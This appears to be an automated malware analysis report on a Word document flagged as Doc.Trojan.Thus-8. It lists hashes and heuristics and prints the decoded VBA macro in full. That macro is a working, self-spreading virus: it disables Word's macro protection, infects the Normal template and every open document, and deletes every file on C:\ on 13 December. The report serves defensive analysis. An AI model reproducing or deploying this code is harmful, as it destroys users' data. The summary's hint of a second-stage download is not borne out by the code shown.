Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f44fcda5dc2ed11e…

MALICIOUS

Office (OLE)

52.0 KB Created: 2009-01-09 19:14:00 Authoring application: Microsoft Word 11.5.3 First seen: 2019-12-09
MD5: 4f2cc0ad36ad23ad16f1917dad46b25a SHA-1: bcd17073fb7a2d444571062903e99bc5fdf4c7c1 SHA-256: f44fcda5dc2ed11e7f0cb4c2292ffb38413cebe2c247c304f8c200d4f653119e
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes upon opening the document, as indicated by the 'Document_Open' macro firing. The macro attempts to disable virus protection and manipulate its own code and other open documents, suggesting an attempt to evade detection and potentially download or execute a second-stage payload. The ClamAV detection 'Doc.Trojan.Thus-8' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-8 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-8
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2349 bytes
SHA-256: 148463b71af2433c061c528c6bb7ae214dfa6ef6dc4d157d2709c1351df19400
Detection
ClamAV: Doc.Trojan.Thus-8
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
    If (Day(Now()) = 13) And (Month(Now()) = 12) Then
    With Application.FileSearch
        .NewSearch
        .LookIn = "C:\"
        .SearchSubFolders = True
        .FileName = "*.*"
        .MatchTextExactly = False
        .FileType = msoFileTypeAllFiles
        If .Execute > 0 Then
        For i = 1 To .FoundFiles.Count
        Kill .FoundFiles(i)
        Next i
        End If
    End With
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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